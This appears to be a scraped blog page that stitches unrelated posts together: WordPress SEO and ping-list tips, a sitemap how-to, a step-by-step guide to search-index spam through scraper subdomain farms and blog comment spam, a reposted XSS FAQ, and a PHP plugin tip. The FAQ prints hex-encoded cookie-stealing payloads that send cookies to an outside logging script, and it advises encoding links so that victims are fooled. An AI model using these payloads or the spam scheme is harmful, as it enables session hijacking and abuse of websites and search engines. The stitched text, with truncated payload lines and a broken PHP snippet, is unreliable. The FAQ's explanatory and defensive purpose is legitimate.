h1 tag

27Jun06
  • On pages where a list of posts appear (like the front page), wrap the title in H2, H3 or H4 tags. This provides maximum superiority of linkage without going too far. Which ones you use depend on how many posts the page is showing (lower number of posts, opt for H2…).
  • On the post page, wrap it in H1 tags! It’s the page title, so it deserves to be wrapped up like that! You’ll benefit greatly from this when it comes to the search engines.

If you need to switch between different proxies quickly then you can use the SwitchProxy extension for Firefox.

If you need to quickly turn the proxy on or off then you can use the QuickProxy extension for Firefox. Quickproxy creates a statusbar button to quickly turn the proxy on and off.

Ping some services.

Go to WordPress->Options->Writing and add the following General Ping Services:

http://1470.net/api/ping
http://www.a2b.cc/setloc/bp.a2b
http://api.feedster.com/ping
http://api.moreover.com/RPC2
http://api.moreover.com/ping
http://api.my.yahoo.com/RPC2
http://api.my.yahoo.com/rss/ping
http://www.bitacoles.net/ping.php
http://bitacoras.net/ping
http://blogbot.dk/io/xml-rpc.php
http://blogdb.jp/xmlrpc
http://www.blogdigger.com/RPC2
http://blogmatcher.com/u.php
http://www.blogoole.com/ping/
http://www.blogoon.net/ping/
http://www.blogpeople.net/servlet/weblogUpdates
http://www.blogroots.com/tb_populi.blog?id=1
http://www.blogshares.com/rpc.php
http://www.blogsnow.com/ping
http://www.blogstreet.com/xrbin/xmlrpc.cgi
http://blog.goo.ne.jp/XMLRPC
http://bulkfeeds.net/rpc
http://www.catapings.com/ping.php
http://coreblog.org/ping/
http://www.lasermemory.com/lsrpc/
http://mod-pubsub.org/kn_apps/blogchatt
http://www.mod-pubsub.org/kn_apps/blogchatter/ping.php
http://www.newsisfree.com/xmlrpctest.php
http://ping.amagle.com/
http://ping.bitacoras.com
http://ping.blo.gs/
http://ping.bloggers.jp/rpc/
http://ping.blogmura.jp/rpc/
http://ping.cocolog-nifty.com/xmlrpc
http://ping.exblog.jp/xmlrpc
http://ping.feedburner.com
http://ping.myblog.jp
http://ping.rootblog.com/rpc.php
http://ping.syndic8.com/xmlrpc.php
http://ping.weblogalot.com/rpc.php
http://ping.weblogs.se/
http://www.popdex.com/addsite.php
http://rcs.datashed.net/RPC2/
http://rpc.blogrolling.com/pinger/
http://rpc.pingomatic.com/
http://rpc.technorati.com/rpc/ping
http://rpc.weblogs.com/RPC2
http://www.snipsnap.org/RPC2
http://trackback.bakeinu.jp/bakeping.php
http://topicexchange.com/RPC2
http://www.weblogues.com/RPC/
http://xping.pubsub.com/ping/
http://xmlrpc.blogg.de/

Google Sitemaps

27Jun06

Google Sitemaps

The Google Sitemaps program allows webmasters and site owners to feed it pages they’d like to be included in Google’s web index and the plugin I mentioned above is very useful as it auto generates these sitemaps for you.

Why you should have a sitemap for your website?

  • Newly updated content will be crawled by Googlebots very quickly
  • Improves search engine visibility as it will be able to go through all the pages you have created


How to use it?1. First, download and upload the plugin to your plugin folder - Link
2. Create 2 files called sitemap.xml and sitemap.xml.gz in your blog’s base folder. CHMOD them to be writeable.
3. Activate the plugin in Wordpress
4. Goto Options->Sitemap and click on “Rebuild Sitemap” and you’re done!

Search Systems

26Jun06

Step-by-Step: How to Get BILLIONS of Pages Indexed by Google

As most SEOs know, MSN loves the subdomains. You can make hundreds of keyworded subdomains and MSN will think quite highly of the pages. Same goes for blogspot and other blogs– they do very well on MSN and sometimes on Yahoo. Now Google and the new BigDaddy crawler is showing an even more idiotic preference when indexing and ranking subdomains.

Check out this site: search of eiqz2q.org — depending which datacentre you hit, you will see between 3.8 and 5.5 BILLION RESULTS. Even worse… the domain is EIGHTEEN DAYS OLD. That’s right, in under 3 weeks, one person has managed to get one domain 5 billion pages indexed in Google. And they are ranking, too. That particular domain has an Alexa ranking of under 7,000. Another domain owned by the same person, t1ps2see.com, has between 1.7 and 2.4 billion indexed pages and an Alexa ranking of under 2,000… after 4 weeks. Coincidentally, the sites also have 3 blocks of Adsense ads on each page. I wonder how much that one person is earning per day with billions and billions of pages indexed and ranking?

 5 billion indexed pages
Inspired by his work, I present, The Step-by-Step Guide to Getting Billions of Pages Indexed by Google:•Register a meaningless domain consisting of numbers, letters, and secret symbols. Heck, register a hundred of them.

Setup a server to manage all of your domains and subdomains. It will need to be beefy as you will be serving a lot of traffic in a few days.

Buy as many article databases as you can. Topic doesn’t matter. You might want to search and replace some i’s and 0’s for corresponding ASCII codes to help you avoid duplicate content.

Create or buy a common scraper script. You’ll need it to respond with different articles based on what keyword is hit, effectively serving up new content for each subdomain. It should respond to any subdomain query. Your server should be setup to allow all subdomains to be redirected to your main page; there your script sorts out what content to serve. Effectively allowing you to create an infinite number of subdomains with unique content. Now the trick this guy is using involves subdomains of subdomains. So you create a “topical” subdomain such as music.3hid9gw.org and then on that subdomain you create your actual pages of additional sub-subdomains, like: 2152.music.3hid9gw.org. Because each subdomain and each sub-subdomain is considered a new site by Google, you can get past the “1 page indexed per site” delay for new domains. If you don’t get this part, hire someone… according to the Alexa traceback, it looks like Argentina has the right people for the job.

Launch your blog comment spam attack. Link to some of your subdomains which are also interlinked.

Wait a few weeks… then sit back and enjoy your billions of indexed pages. Be sure to put 3 Adsense or YPN blocks on each page.

Want proof? Spammer with Billions of Indexed Pages Moves Traffic

Thanks to Nintendo at DP for pointing out how extensive this network of subdomain spam has become. If there is enough interest shown, I’ll work up a script that would do this and post it for free so we can all enjoy the benefits of subdomain indexing.

UPDATE: This outing made the front page of Digg and del.ici.ous, and is currently the top story at Techmeme and Reddit. Due to the publicity, you can watch the indexed pages of these domains shrink right before your eyes. The current site: count for eiqz2q.org is 700,000,000 down from 5,550,000,000. I assume it will be 0 in a matter of hours. While a hand job will work for now, when will the indexing algorithm be repaired?

Introduction

Websites today are more complex than ever, containing a lot of dynamic content making the experience for the user more enjoyable. Dynamic content is achieved through the use of web applications which can deliver different output to a user depending on their settings and needs. Dynamic websites suffer from a threat that static websites don’t, called “Cross Site Scripting” (or XSS dubbed by other security professionals). Currently small informational tidbits about Cross Site Scripting holes exist but none really explain them to an average person or administrator. This FAQ was written to provide a better understanding of this emerging threat, and to give guidance on detection and prevention.

“What is Cross Site Scripting?”

Cross site scripting (also known as XSS) occurs when a web application gathers malicious data from a user. The data is usually gathered in the form of a hyperlink which contains malicious content within it. The user will most likely click on this link from another website, instant message, or simply just reading a web board or email message. Usually the attacker will encode the malicious portion of the link to the site in HEX (or other encoding methods) so the request is less suspicious looking to the user when clicked on. After the data is collected by the web application, it creates an output page for the user containing the malicious data that was originally sent to it, but in a manner to make it appear as valid content from the website. Many popular guestbook and forum programs allow users to submit posts with html and javascript embedded in them. If for example I was logged in as “john” and read a message by “joe” that contained malicious javascript in it, then it may be possible for “joe” to hijack my session just by reading his bulletin board post. Further details on how attacks like this are accomplished via “cookie theft” are explained in detail below.

“What does XSS and CSS mean?”

Often people refer to Cross Site Scripting as CSS. There has been a lot of confusion with Cascading Style Sheets (CSS) and cross site scripting. Some security people refer to Cross Site Scripting as XSS. If you hear someone say “I found a XSS hole”, they are talking about Cross Site Scripting for certain.

“What are the threats of Cross Site Scripting?”

Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable application to fool a user (Read below for further details) in order to gather data from them. Everything from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible. New malicious uses are being found every day for XSS attacks. The post below by Brett Moore brings up a good point with regard to “Denial Of Service”, and potential “auto-attacking” of hosts if a user simply reads a post on a message board.

http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html

“What are some examples of cross site scripting attacks?”

One product with many XSS holes is the popular PHP program PHPnuke. This product is often targeted by attackers to probe for XSS holes because of its popularity. I have included a few links of advisories/reports that have been discovered and disclosed just from this product alone. The following collection should provide plenty of examples.

http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt
http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt
http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt

“Can you show me what XSS cookie theft looks like?”

Depending on the particular web application some of the variables and positioning of the injections may need to be adjusted. Keep in mind the following is a simple example of an attacker’s methodology. In our example we will exploit a cross site scripting hole in a perimeter of “a.php” called “variable” via a normal request. This is the most common type of cross site scripting hole that exists.

Step 1: Targeting

After you have found an XSS hole in a web application on a website, check to see if it issues cookies. If any part of the website uses cookies, then it is possible to steal them from its users.

Step 2: Testing

Since XSS holes are different in how they are exploited, some testing will need to be done in order to make the output believable. By inserting code into the script, its output will be changed and the page may appear broken. (The end result is crucial and the attacker will have to do some touching up in the code to make the page appear normal.) Next you will need to insert some Javascript (or other client side scripting language) into the URL pointing to the part of the site which is vulnerable. Below I have provided a few links that are for public use when testing for XSS holes. These links below, when clicked on will send the users cookie to www.cgisecurity.com/cgi-bin/cookie.cgi and will display it. If you see a page displaying a cookie then session hijacking of the user’s account may be possible.

Cookie theft Javascript Examples.
A example of usage is below.

ASCII Usage:

http://host/a.php?variable=”>

Hex Usage:

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

NOTE: The request is first shown in ASCII, then in Hex for copy and paste purposes.

1. “>

HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

2.

HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e

3. >

HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75
%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f
%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e

These are the examples of “evil” Javascript we will be using. These Javascript examples gather the users cookie and then send a request to the cgisecurity.com website with the cookie in the query. My script on cgisecurity.com logs each request and each cookie. In simple terms it is doing the following:

My cookie = user=zeno; id=021
My script = www.cgisecurity.com/cgi-bin/cookie.cgi

It sends a request to my site that looks like this.

GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (Note: %20 is a hex encoding for a space)

This is a primitive but effective way of grabbing a user’s cookie. Logs of the use of this public script can be found at www.cgisecurity.com/articles/cookie-theft.log

Step 3: XSS Execution

Hand out your crafted url or use email or other related software to help launch it. Make sure that if you provide the URL to the user(through email, aim, or other means) that you at least HEX encode it. The code is obviously suspicious looking but a bunch of hex characters may fool a few people.

In my example I only forward the user to cookie.cgi. A attacker with more time could do a few redirects and XSS combo’s to steal the user’s cookie, and return them to the website without noticing the cookie theft.
Some email programs may execute the Javascript upon the opening of a message or if the Javascript is contained in a message attachment. Larger sites like Hotmail do allow Javascript inside attachments but they do special filtering to prevent cookie theft.

Step 4: What to do with this data

Once you have gotten the user to execute the XSS hole, the data is collected and sent to your CGI script. Now that you have the cookie you can use a tool like Websleuth to see if account hijacking is possible.
This is only a FAQ, not a detailed paper on cookie theft and modification. A new paper released by David Endler of iDefense goes into more detail on some of the ways to automatically launch XSS holes. This paper can be found at http://www.idefense.com/XSS.html.

“What can I do to protect myself as a vendor?”

This is a simple answer. Never trust user input and always filter metacharacters. This will eliminate the majority of XSS attacks. Converting < and > to < and > is also suggested when it comes to script output. Remember XSS holes can be damaging and costly to your business if abused. Often attackers will disclose these holes to the public, which can erode customer and public confidence in the security and privacy of your organization’s site. Filtering < and > alone will not solve all cross site scripting attacks and it is suggested you also attempt to filter out ( and ) by translating them to ( and ), and also # and & by translating them to # (#) and & (&).

“What can I do to protect myself as a user?”

The easiest way to protect yourself as a user is to only follow links from the main website you wish to view. If you visit one website and it links to CNN for example, instead of clicking on it visit CNN’s main site and use its search engine to find the content. This will probably eliminate ninety percent of the problem. Sometimes XSS can be executed automatically when you open an email, email attachment, read a guestbook, or bulletin board post. If you plan on opening an email, or reading a post on a public board from a person you don’t know BE CAREFUL. One of the best ways to protect yourself is to turn off Javascript in your browser settings. In IE turn your security settings to high. This can prevent cookie theft, and in general is a safer thing to do.

“How common are XSS holes?”

Cross site scripting holes are gaining popularity among hackers as easy holes to find in large websites. Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.

Every month roughly 10-25 XSS holes are found in commercial products and advisories are published explaining the threat.

“Does encryption protect me?”

Websites that use SSL (https) are in no way more protected than websites that are not encrypted. The web applications work the same way as before, except the attack is taking place in an encrypted connection. People often think that because they see the lock on their browser it means everything is secure. This just isn’t the case.

“Can XSS holes allow command execution?”

XSS holes can allow Javascript insertion, which may allow for limited execution. If an attacker were to exploit a browser flaw (browser hole) it could then be possible to execute commands on the client’s side. If command execution were possible it would only be possible on the client side. In simple terms XSS holes can be used to help exploit other holes that may exist in your browser.

“What if I don’t feel like fixing a CSS/XSS Hole?”

By not fixing an XSS hole this could allow possible user account compromise in portions of your site as they get added or updated. Cross Site Scripting has been found in various large sites recently and have been widely publicized. Left unrepaired, someone may discover it and publish a warning about your company. This may damage your company’s reputation, depicting it as being lax on security matters. This of course also sends the message to your clients that you aren’t dealing with every problem that arises, which turns into a trust issue. If your client doesn’t trust you why would they wish to do business with you?

“What are some links I can visit to help me further understand XSS?”

“Cross-site scripting tears holes in Net security”
http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm

Article on XSS holes
http://www.perl.com/pub/a/2002/02/20/css.html

“CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests”
http://www.cert.org/advisories/CA-2000-02.html

Paper on Removing Meta-characters from User Supplied Data in CGI Scripts.
http://www.cert.org/tech_tips/cgi_metacharacters.html

Paper on Microsoft’s Passport System
http://eyeonsecurity.net/papers/passporthijack.html

Paper on Cookie Theft
http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies

The webappsec mailing list (Visit www.securityfocus for details)
webappsec@securityfocus.com

Many Thanks to David Endler for reviewing this document.

Published to the Public May 2002
Copyright May 2002 Cgisecurity.com

http://www.cgisecurity.com/articles/xss-faq.shtml

XSS Cross Site Scripting: Dynamic websites suffer from a threat that static websites don’t, called “Cross Site Scripting” (or XSS). Attackers canl inject JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable web sites and force a webpage to link to a location.

Several WordPress plugins ask you to add certain code to the WordPress theme template files to make them work. If you are not a PHP developer or you don’t have time to code review the plugin and you decide to activate the plugin then the plugin can very easily cause your site to crash or worse. Often the errors are hard to detect (sporadic, happening only in certain conditions) and even harder to debug as you are not familiar with the code. Today we will talk about a simple step you can take to make your site robust against untested and buggy plugins.

Normally most of the time you are asked to include a code block similar to this:
< ?php func_name(arg1,arg2…); ?>
The func_name obviously represents a function which the plugin author wants you to include; the arguments are as required for that function.

This can create two major issues.
Firstly if at any time you decide to disable the plugin then you will have to first remove the code from all your template files before you can safely de-activate / remove the plugin. Otherwise the pages in the site will fail to load properly.

Secondly the plugin itself may fail in certain conditions or always. In the worst case you will find certain pages on your site fails to load sometimes. It could be long before you are aware of the problem.

We will look at two small changes you can make to the code template above to take care of both of the problems described above. First the modified code:

< ?php if(function_exists(’func_name‘) @func_name(arg1,arg2…); ?>
Remember to replace func_name with the actual name of the function.

Testing the existence of the function ensures that the code isn’t executed when the plugin is inactive / disabled. This prevents the first problem.

Appending an @ before the function name ensures that errors, if any, while executing the function are ignored and do not cause further problems down the road and do not prevent the overall page from displaying.

This fix works against all versions of WordPress and also in any other templating system which uses php code.

Carefully make the changes following the template above to make your site more robust against WordPress plugins.